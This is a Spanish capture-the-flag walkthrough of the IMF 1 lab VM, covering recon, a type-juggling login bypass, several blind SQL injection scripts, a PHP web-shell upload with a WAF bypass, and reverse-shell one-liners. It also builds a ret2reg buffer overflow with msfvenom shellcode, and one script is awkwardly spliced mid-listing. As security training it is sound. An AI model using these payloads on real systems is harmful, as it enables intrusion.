Laboratorio IMF 1
...

Nos dirigimos IMF 1 descargamos el ova, y para instalarlo puedes seguir el ejemplo de Instalar Máquina Vulhub en VMWare .

Enumeración y Reconocimiento
...

arp-scan y ping
...

❯ arp-scan -I ens33 --localnet --ignoredups
Interface: ens33, type: EN10MB, MAC: 00:0c:29:b3:ac:aa, IPv4: 192.168.1.140
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1	4c:6e:6e:5f:8c:e2	Comnect Technology CO.,LTD
192.168.1.102	e4:aa:ea:ca:19:1d	Liteon Technology Corporation
192.168.1.107	00:0c:29:f2:d0:7e	VMware, Inc.
192.168.1.250	44:22:7c:c3:ee:22	(Unknown)
192.168.1.103	80:6d:71:b9:f2:af	(Unknown)

7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.103 seconds (121.73 hosts/sec). 5 responded

Vemos que la otra máquina virtual es la 192.168.1.107 por lo que en esta ip vamos a trabajar, solo una acotación al parecer tiene bloqueado la traza ICMP por lo que si hacemos ping no tendremos respuesta, pero si hacemos nmap podremos hacer un análisis de los puertos abiertos.

ping -c 1 192.168.1.107
PING 192.168.1.107 (192.168.1.107) 56(84) bytes of data.

--- 192.168.1.107 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms

nmap
...

Analizamos los puertos abiertos en esta máquina

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.107 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 08:01 CET
Initiating ARP Ping Scan at 08:01
Scanning 192.168.1.107 [1 port]
Completed ARP Ping Scan at 08:01, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 08:01
Scanning 192.168.1.107 [65535 ports]
Discovered open port 80/tcp on 192.168.1.107
sendto in send_ip_packet_sd: sendto(6, packet, 44, 0, 192.168.1.107, 16) => Operation not permitted
Offending packet: TCP 192.168.1.140:38231 > 192.168.1.107:7425 S ttl=50 id=49099 iplen=44  seq=2778350726 win=1024 <mss 1460>
Completed SYN Stealth Scan at 08:02, 26.38s elapsed (65535 total ports)
Nmap scan report for 192.168.1.107
Host is up, received arp-response (0.0014s latency).
Scanned at 2023-11-23 08:01:54 CET for 26s
Not shown: 65534 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64
MAC Address: 00:0C:29:F2:D0:7E (VMware)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.63 seconds
           Raw packets sent: 131089 (5.768MB) | Rcvd: 22 (952B)

Vemos que solo tiene un puerto abierto el puerto 80, hacemos un segundo análisis con nmap ahora que conocemos los puertos abiertos, enviando scripts por default y enviando el parámetro -v para conocer la versión.

❯ nmap -sCV -p80 192.168.1.107 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 08:04 CET
Nmap scan report for imf.local (192.168.1.107)
Host is up (0.00090s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: IMF - Homepage
MAC Address: 00:0C:29:F2:D0:7E (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.57 seconds

Por la versión del Apache podemos saber que estamos ante un Ubuntu Xenial (16.04).

Port 80: HTTP
...

Pasted image 20231123080953.png

Nota: Voy a proceder a añadir en el /etc/hosts que la ip 192.168.1.107 me dirija a imf.local.

Pasted image 20231123081145.png

Procedemos a hacer un reconocimiento a la página, en ello vemos a Contact Us, hay un formulario pero no presenta nada interesante, pero lo que si podemos ver es que existe estos usuario que brinda correos con el dominio actual, por lo que puede ser usuario validos para más adelante por lo que lo guardamos en un archivo.

Pasted image 20231123081354.png

vi usuarios_posibles

Pasted image 20231123082000.png

Revisamos el código fuente
...

Pasted image 20231123082137.png

Vemos algo muy extraño en ese punto los nombre de los archivos parece formar un código en base64, por lo que vamos a obtener el código mediante curl y hacemos los filtros necesarios como se ve a continuación:

curl -s -X GET http://192.168.1.107/ | grep "\.js" | tail -n 3 | grep -oP '".*?"' | tr -d '"' | tr './' ' ' | awk '{print $2}' | xargs | tr -d ' '
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==

Obtenemos esa cadena en base 64 que vamos a decodificar.

echo -n "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==" | base64 -d; echo
flag2{aW1mYWRtaW5pc3RyYXRvcg==}

Observamos que tenemos una flag misma que posee otra cadena en base64, vamos a decodificar tambien esa cadena para observa que nos dice.

echo -n "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d; echo
imfadministrator

Parece que puede pertener a la url como un directorio o página, por lo que lo vamos añadir.

http://imf.local/imfadministrator

Pasted image 20231123083526.png

Type Juggling
...

Ya hemos hecho el reconocimiento del caso y vemos que es un Type Juggling, y los usuarios posibles nos ayudaron a ingresar. Vamos a capturar la petición y vamos a explotar la vulnerabilidad para ingresar.

Abrimos burpsuite y con la petición capturada vamos a cambiar el tipo al campo password. Usaremos en este caso como usuario a rmichaels.

Pasted image 20231123084318.png

Volvemos al adminstrador y podemos observar que obtenemos una tercera flag misma que nos indica que nos dirijamos al cms.

echo -n "Y29udGludWVUT2Ntcw==" | base64 -d; echo
continueTOcms

Desactivamos el burpsuite.

Pasted image 20231123084605.png

Nos dirigimos al CMS

Pasted image 20231123084339.png

Inyección SQL
...

En esta ocasión vemos que podemos probar lfi o path travesal pero no vemos nada, así que probamos una inyeccion sqli y haciendo el 'and '1' ='1 y vemos que si es efectivo.

Pasted image 20231123100706.png

**Pasted image 20231123100804.png

Podemos ver que cuando la sentencia es verdad (home' and '1' ='1 ) aparece la página cuando no es verdad (home'and '1' ='0) ya no aparece sabiendo eso podemos averiguar cual es la base de datos que se está utilizando actualmente, haciendo lo que se ve va a ver a continuación:

Por ejemplo voy a utilizar la ventana de Upload Report, con la siguiente sentencia.

http://imf.local/imfadministrator/cms.php?pagename=upload' and substring(database(),1,1) ='a

Pasted image 20231123150139.png

Confirmamos que la base de datos comienza con a pero para hacer este proceso más agil para enumerar las bases,tablas, columnas y contenido vamos a crear un script para cada proceso.

  1. Script para enumerar la base actual que está en uso.
#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,6):
        for character in characters:
            sqli = "?pagename=upload' and substring(database(),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()

Ejecutamos el script.

❯ python3 sqli.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: admin

Ahora sabemos que la base actual en uso es admin.

  1. Vamos a enumerar todas las bases de datos existentes, para observar que existe alguna otra que nos pueda interesar.
#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + ","

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,100):
        for character in characters:
            sqli = "?pagename=upload' and substring((select group_concat(schema_name) from information_schema.schemata),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()

Ejecutamos el script:

❯ python3 sqli_enum_dbs.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: informationschema,admin,mysql,performanceschema,sys

Vemos que existen las bases por default y la base admin ahora que sabemos que solo existe esa base de datos vamos a enumerar las tablas existente.

  1. Enumeraremos las tablas existentes en la base de datos admin.
#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + "," + string.digits

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,100):
        for character in characters:
            sqli = "?pagename=upload' and substring((select group_concat(table_name) from information_schema.tables where table_schema='admin'),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()

Ejecutamos el script:

❯ python3 sqli_enum_tables.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: pages

Existe una sola table con nombre pages, esa tabla vamos a utilizar para enumerar a continuación las columnas.

  1. Enumeramos las columnas de la tabla pages.
#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + "," + string.digits

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,100):
        for character in characters:
            sqli = "?pagename=upload' and substring((select group_concat(column_name) from information_schema.columns where table_schema='admin' and table_name='pages'),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()

Ejecutamos el script:

❯ python3 sqli_enum_columns.py
[+] Inyección SQL: Inyección SQL correctamente finalizada
[+] Data: id,pagename,pagedata

Vemos que existe una columna llamada pagename vamos a ver si existe una página adicional a las que aparecen en cms.php.

  1. Vamos a enumerar el contenido de la columna pagename para observar si existe una página adicional a las que se observa.
#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
❯ catnp sqli_v1.py
#!/usr/bin/python3

import requests
from pwn import *
import sys
import time
import signal
import string

def def_handler(sig,frame):
    print("\n[+] Saliendo...\n\n")
    sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT,def_handler)

# Crear una sesión
session = requests.Session()
cmsURL = 'http://imf.local/imfadministrator/'
data = {
    "user":"rmichaels",
    "pass[]":""
}
response = session.post(cmsURL,data=data)

#Variables Globales
main_url = "http://imf.local/imfadministrator/cms.php"
characters = string.ascii_lowercase + ",+-_." + string.digits

def sqli():
    
    data = ''

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando ataque de inyección SQL")

    p2 = log.progress("Data")

    for position in range(1,100):
        for character in characters:
            sqli = "?pagename=upload' and substring((select group_concat(pagename) from pages),%d,1) = '%s" % (position,character)
            r = session.get(main_url+sqli)
            
            if ("Under Construction" in r.text):
                data += character
                p2.status(data)
                break

    p1.success("Inyección SQL correctamente finalizada")
    p2.success(data)


if __name__ == "__main__":

    sqli()

Ejecutamos el script:

❯ python3 sqli_v1.py
[] Inyección SQL: Iniciando ataque de inyección SQL
[] Data: disavowlist,home,tutorials-incomplete,upload++++++++++++++++++++++++++++++++++++++++++++++++++++

[+] Saliendo...

Si vemos en la página de cms.php vemos que el único que no está visible es tutorials-incomplete por lo que nos dirigimos a esa página a ver que sale.

http://imf.local/imfadministrator/cms.php?pagename=tutorials-incomplete

Pasted image 20231123152512.png

Vemos que hay un extraño código QR, lo decodificamos y nos topamos con otra flag.

Nota: Puedes utilizar cualquier página que decodifique códigos QR.

Pasted image 20231123152645.png

echo -n "dXBsb2Fkcjk0Mi5waHA=" | base64 -d; echo
uploadr942.php

Nos dirigimos a uploadr942.php

http://imf.local/imfadministrator/uploadr942.php

Pasted image 20231123153042.png

Vamos a proceder a un Abuso de Subida de Archivos.

Abuso de subida de archivos: Shell as www-data
...

Vamos a subir un archivo cmd.php para poder realizar una ejecución remota de comando.

El contenido del archivo:

<?php
	system($_GET("cmd"));
?>

Abrimos el burpsuite, capturamos la petición de carga y luego la enviamos al repeater para poder analizarlo.

Pasted image 20231123154033.png

Vemos que el archivo que creamos no es un tipo válido por lo que vamos a cambiar el magic number y el Content-type a gif, para observar que pasa.

Pasted image 20231123154449.png

Vemos que está protegida la carga con WAF, por lo que vamos hacer lo siguiente para pasar el WAF.

<?=`$_GET[0]`?>

Ahora enviamos de esta manera.

Pasted image 20231123155436.png

Vemos que ahora si se ha enviado correctamente el problema es que si nos vamos a la carpeta /uploads/cmd.gif no existe es decir que el nombre en que se guarda ha cambiado, pero si revisamos en el código fuente vemos que nos chiva el nombre.

Pasted image 20231123155712.png

Nota: Conocemos sobre la carpeta uploads enumerando directorios con cualquier herramienta de fuzzing por ejemplo gobuster al http://imf.local/imfadministrator/

❯ gobuster dir -u http://imf.local/imfadministrator/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://imf.local/imfadministrator/
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/11/23 15:59:26 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 324] [--> http://imf.local/imfadministrator/images/]
/uploads              (Status: 301) [Size: 325] [--> http://imf.local/imfadministrator/uploads/]
Progress: 4773 / 220561 (2.16%)                                                                ^C
[!] Keyboard interrupt detected, terminating.
                                                                                                
===============================================================
2023/11/23 15:59:33 Finished
===============================================================

Pasted image 20231123160022.png

Ahora vamos a poner lo que aparece en el cuadro marcado anteriormente, el nombre cambia por cada archivo que se sube así que igual ahí que estar atento.

Pasted image 20231123212239.png

Ejecutamos un comando para probar, por ejemplo id:

http://imf.local/imfadministrator/uploads/5c60c75715cd.gif/?0=id

Pasted image 20231123212432.png

Sabiendo que ejecuta comando vamos a proceder hacer el one liner para obtener una reverse shell y nos pondemos en escucha por el puerto 1212.

Nos ponemos en escucha por el puerto 1212

nc -nvlp 1212

Escribimos el one liner en el navegador

http://imf.local/imfadministrator/uploads/d32d0fe60739.gif?0=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.140/1212%200%3E%261%22

Obtenemos la reverse shell como www-data

Pasted image 20231123212933.png

Hacemos un Tratamiento de la TTY y procedemos con la escalada de privilegios.

Buffer Overflow: Shell as root
...

Instalación de Ghidra
...

Para este laboratorio vamos a requerir instalar Ghidra nos dirigimos a la página oficial de esta herramienta y hacemos clic en Download from Github

Pasted image 20231123220031.png

Descargamos el zip de la última versión.

Pasted image 20231123220122.png

Lo descomprimimos.

unzip ghidra_10.4_PUBLIC_20230928.zip

Entramos a la carpeta.

cd ghidra_10.4_PUBLIC

Y si listamos podemos observar que existe un ejecutable.

Pasted image 20231123221800.png

Lo ejecutamos y podemos hacer uso de la herramienta.

./ghidrarun

Pasted image 20231123222403.png

Nota: Puedes crear un alias en tu .bashrc o .zshrc como por ejemplo.

Pasted image 20231123222538.png

Posibles Errores
...

Puede que te pida la ubicación de la carpeta de jdk-21.0.1+12, es probable que no lo tengas instalado de manera manual puedes seguir los siguientes pasos:

  1. Descargamos el JDK de la siguiente página adoptium.net y seleccionamos la versión de linux, en mi caso linux x64

Pasted image 20231123224955.png

  1. Vamos a crear una carpeta en /usr/local que llamaremos java
mkdir /usr/local/java
  1. Movemos el jdk.tar.gz que descargamos a esta carpeta que hemos creado
mv OpenJDK21U-jdk_x64_linux_hotspot_21.0.1_12.tar.gz /usr/local/java
  1. Nos dirigimos a /usr/local/java y descomprimimos el .tar.gz
cd /usr/local/java/
sudo tar zxvf OpenJDK21U-jdk_x64_linux_hotspot_21.0.1_12.tar.gz
  1. Borro el comprimido
rm OpenJDK21U-jdk_x64_linux_hotspot_21.0.1_12.tar.gz
  1. Aplicamos el siguiente comando
 sudo update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk-21.0.1+12/bin/java" 1
  1. Verificamos la versión de JAVA.
❯ java -version

openjdk version "17.0.7" 2023-04-18
OpenJDK Runtime Environment (build 17.0.7+7-Debian-1deb11u1)
OpenJDK 64-Bit Server VM (build 17.0.7+7-Debian-1deb11u1, mixed mode, sharing)

Ahora cuando Ghidra te pida la carpeta del jdk, procedes a seleccionar la carpeta que ubicamos en /usr/local/java/jdk-21.0.1+12 y listo.

Binario agent
...

Estamos ahora en el usuario www-data, al listar el directorio actual podemos observar que existe otra pista (flag 5), misma que vamos a decodificar.

www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt 
flag5{YWdlbnRzZXJ2aWNlcw==}
www-data@imf:/var/www/html/imfadministrator/uploads$ echo -n "YWdlbnRzZXJ2aWNlcw==" | base64 -d; echo
agentservices

Vemos que nos imprime agentservices, vamos a buscar si existe un servicio o binario llamado agent

www-data@imf:/var/www/html/imfadministrator/uploads$ find / -name agent 2>/dev/null
/usr/local/bin/agent
/etc/xinetd.d/agent

Vemos que existen dos archivos agent vamos analizarlos con file

/usr/local/bin/agent

www-data@imf:/var/www/html/imfadministrator/uploads$ file /usr/local/bin/agent
/usr/local/bin/agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped

Vemos que es un binario ejecutable de 32bits.

/etc/xinetd.d/agent

www-data@imf:/var/www/html/imfadministrator/uploads$ file /etc/xinetd.d/agent
/etc/xinetd.d/agent: ASCII text

Observamos que es un archivo de texto , vamos a catearlo para observar si existe alguna información importante.

cat /etc/xinetd.d/agent
	# default: on
	# description: The agent server serves agent sessions
	# unencrypted agentid for authentication.
	service agent
	{
	       flags          = REUSE
	       socket_type    = stream
	       wait           = no
	       user           = root
	       server         = /usr/local/bin/agent
	       log_on_failure += USERID
	       disable        = no
	       port           = 7788
	}

Es la descripción del servicio agent, trabaja por el puerto 7788, está en la ubicación anteriormente revisada, es ejecutada por root, por lo que vamos a probar si es posible un buffer overflow, para ello vamos a necesitar GHIDRA

Vamos a pasarnos el binario agent de la máquina víctima a la nuestra

Máquina Víctima

cat < /usr/local/bin/agent > /dev/tcp/192.168.1.140/443

Máquina Atacante

nc -nvlp 443 > agent

Ahora le damos permisos de ejecución

chmod +x agent

Podemos hacer un md5sum para confirmar la integridad del archivo y lo ejecutamos para reconfirmar que todo está bien, y efectivamente todo está bien.

Pasted image 20231123223056.png

Ghidra: Ingeniería Inversa del binario agent
...

Vamos a crear un nuevo proyecto con ghidra, en donde analizaremos el binario agent de manera que podamos encontrar algún input que sea vulnerable a BOF.

  1. Creamos un nuevo proyecto

Pasted image 20231123230933.png

Pasted image 20231123230955.png

Pasted image 20231123231715.png

  1. Procedemos abrir el binario agent.

Pasted image 20231123231806.png

Pasted image 20231123231843.png

Pasted image 20231123231900.png

Pasted image 20231123231930.png

Cerramos esa ventana flotanque que hace de resumen y seguimos.

  1. Arrastramos el archivo al dragón.

Pasted image 20231123232031.png

Pasted image 20231123232107.png

Pasted image 20231123232125.png

Pasted image 20231123232148.png

Nota: Si estás en bspwn como yo envía esa segunda venta a otro escritorio para poder verla maximizada.

Análisis y búsqueda de Vulnerabilidad del binario agent
...

Teniendo ya esta ventana maximizada vamos a proceder a expandir la carpeta que dice Functions, como vemos en la imagen a continuación.

Pasted image 20231123232429.png

Hacemos clic en main, donde podremos ver las variables, funciones que ejecuta el programa.

Pasted image 20231123232630.png

Ahora analizamos las variables y le cambiamos el nombre para que sea más descriptivo (Nota: Cambiar el nombre seleccionamos el nombre de la variable y tecleamos la letra l )

Pasted image 20231124002456.png

Por ejemplo aquí identificamos cuando pide el ID, vamos a probarlo (era un valor hexadecimal, lo conviertes con click derecho decimal).

Vamos a ejecutar el binario para confirmar lo del ID:

./agent

Pasted image 20231124002728.png

Entramos al menú, cual veremos en código a continuación:

Pasted image 20231124002818.png

Vemos 3 funciones cual haciendo doble clic podemos dirigirnos a cada una para revisarlas.

  1. extractionpoints()

Pasted image 20231124002905.png

Vemos que no tiene inputs, por lo que no hay nada que hacer regresamos al main.

  1. requestextraction()

Pasted image 20231124003021.png

Vemos que hay una variable se asigna un buffer pero utiliza la función fgets que es una función segura que se le asigna el tamaño del buffer que debe aceptar por lo que no va a proceder a un desbordamiento, no podemos hacer nada, volvemos al main.

  1. report()

Pasted image 20231124003159.png

Observamos que existe otra variable con un buffer especificado, pero en este caso utiliza la función gets misma que es insegura porque no detiene el ingreso de datos hasta el buffer indicado sino que podemos producir el desbordamiento que buscamos.

Confirmación de la vulnerabilidad.
...

Vamos a imprimir 200 'A' usando python3, lo pegamos en la opción 3 del binario y si vemos el mensaje de segmentation fault ya habremos encontrado a donde atacar.

❯ python3 -c "print('A'*200)"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
❯ ./agent
  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated 
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

Enter report update: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Report: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Submitted for review.
zsh: segmentation fault  ./agent

Perfecto procedemos a explotar la vulnerabilidad de Buffer Overflow.

Buffer Overflow: ret2reg
...

Conociendo el campo que está afecta a buffer overflow vamos a usar gdb para ir debuggeando e ir obteniendo datos para efectuar el ataque.

Nota: El gdb que utilizo usa peda

gdb ./agent -q

Control del EIP
...

Para el control del eip debemos conocer el offset, por lo que vamos a usar pattern create con un valor superior al que vimos en el buffer asignado que era 164.

> gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

Corremos el programa y luego en el campo que sabemos es vulnerable (la opción 3) procedemos a pegar el patrón.

Pasted image 20231124080243.png

Pasted image 20231124080319.png

Ahora vamos a verificar el offset haciendo pattern offset y pasandole la eip.

Pasted image 20231124080416.png

Vemos que el offset es 168, ya tenemos el control del eip por lo que vamos ahora proceder a probar creando una cadena de la siguiente manera:

python3 -c "print('A'*168+'B'*4)"

Pasted image 20231124080606.png

De igual manera ejecutamos el programa y pegamos la cadena que creamos, y cuando le demos enter debemos observar en el eip las 'B' es decir 0x42424242

Pasted image 20231124080756.png

Revisión de Seguridad
...

NX: ¿Habilitado o Deshabilitado?
...

Vamos a ver si tiene todo deshabilitado en especial el NX que si llega a estar habilitado no podemos trabajar con los datos que están en la pila (stack)

Pasted image 20231124081044.png

Vemos que está deshabilitado todo, prosigamos con la revisión de seguridad.

ASLR: ¿Habilitado o Deshabilitado?
...

Para ello nos dirigimos a la terminal donde tenemos nuestra shell como www-data y para confirmar eso vamos a verificar una direccion en memoria y observar que no cambie. Si llega a cambiar quiere decir que está habilitado el ASLR y nos complicaría el ataque.

www-data@imf:/var/www/html/imfadministrator/uploads$ ldd /usr/local/bin/agent
	linux-gate.so.1 =>  (0xf7756000)
	libc.so.6 => /lib32/libc.so.6 (0xf7597000)
	/lib/ld-linux.so.2 (0x5663e000)

Vamos a usar la dirección de libc para verificar el ASLR, con el siguiente onliner

for i in $(seq 1 10000); do ldd /usr/local/bin/agent | grep libc | awk 'NF{print $NF}' | tr -d '()'; done

Salimos con interrupción en teclado (ctrl+c)

Pasted image 20231124081925.png

Vemos que las direcciones van cambiando por lo que está habilitado el ASLR.

En esta situación podrimamos hacer un ret2libc, pero vamos a comprobar una cosa adicional verificar donde se encuentran las 'A' que enviamos.

Análisis de Registros
...

Anteriormente corrimos el programa para confirmar el control del eip, por lo que si tenemos abierto el gdb-peda con esa ejecución bien y sino volvemos a correrlo, para proceder añadir lo siguiente

info registers

Pasted image 20231124082851.png

Nos permite ver las direcciones pero muy poco podemos hacer conociendo que el ASLR está habilitado.

x/16wx

Me permite según el valor ingresado la cantidades de palabra en la memoria de según tal registro, me explico con el siguiente ejemplo

Pasted image 20231124083025.png

Estamos en busqueda de las 'A' pero vemos que en los primeros 16 palabras ubicada en el registro ESP no están, vamos a probar con 200

Pasted image 20231124083150.png

Seguimos sin encontrarla por lo que vamos a hacer que esp retroceda tenga 100 palabras y esas listar 200

Pasted image 20231124083305.png

Las encontramos!!, verificamos la dirección para saber de que registro es 0xffffd2xx tiene si vemos en info registers vemos que coincide con eax por lo que vamos a probar hacer un x/16wx a eax

Pasted image 20231124083600.png

Ahí están todas, vamos a una ultima confirmación si quitamos una palabra en dirección y no vemos una 'A' (0x41414141)confirmaremos que el registro eax recibe todas las 'A' que enviamos.

Pasted image 20231124083809.png

Vemos que efectivamente el registro eax recibe toda nuestras A sabiendo esto vamos a realizar un ret2reg (retornar a un registro) , pensarás que las direcciones cambian como vamos hacer eso, pues si las direcciones cambian pero la del mismo binario (agent) es estático por lo cual nos vamos aprovechar de eso.

ret2reg: call eax
...

Por lo que vamos a buscar en el binario agent una instrucción call eax asi obtener su dirección.

Obtención del opcode call eax
...

Usamos nasm.h (herramienta de metasploit) cual podemos poner call eax y sabemos cual es su corrrespondiente op code

Pasted image 20231124084918.png

El opcode FF D0 o (ff d0) por lo que vamos a buscar la dirección donde se encuentre este opcode en agent.

Direccion del opcode call eax en el binario
...

Vamos hacer uso de objdump

objdump -d ./agent

Pasted image 20231124085158.png

Pero vemos mucha información lo que buscamos es call eax (FF D0), por lo que vamos a grep de manera case insensitive para observar donde está la dirección.

❯ objdump -d ./agent | grep -i 'FF D0'
 8048563:	ff d0                	call   *%eax

Ya tenemos la dirección del opcode en el binario (0x8048563), vamos a crear nuestro shellcode.

Shellcode reverse shell: msfvenom
...

Crearemos nuestro shellcode con msfevenom, y vamos a quitar los badchars comunes '\x00\x0a\x0d' de la siguiente forma.

msfvenom -p linux/x86/shell_reverse_tcp -f c -b '\x00\x0a\x0d' LHOST=192.168.1.140 LPORT=443

Pasted image 20231124085803.png

Al final tiene un total de 95 pero recordemos que el offset es 168 tendremos que en el script final aumentar un relleno con la cantidad faltante.

Script final
...

Ya teniendo todas las variables requeridas para el ret2reg, procedemos ha realizar el siguiente script (el script lo realizas en la máquina víctima a razón que se llama así mismo).

En la máquina víctima nos dirigimos al directorio /tmp y creamos nuestro script que llamaremos bof.py

cd /tmp
nano bof.py
#!/usr/bin/python3

import socket
import sys
from struct import pack

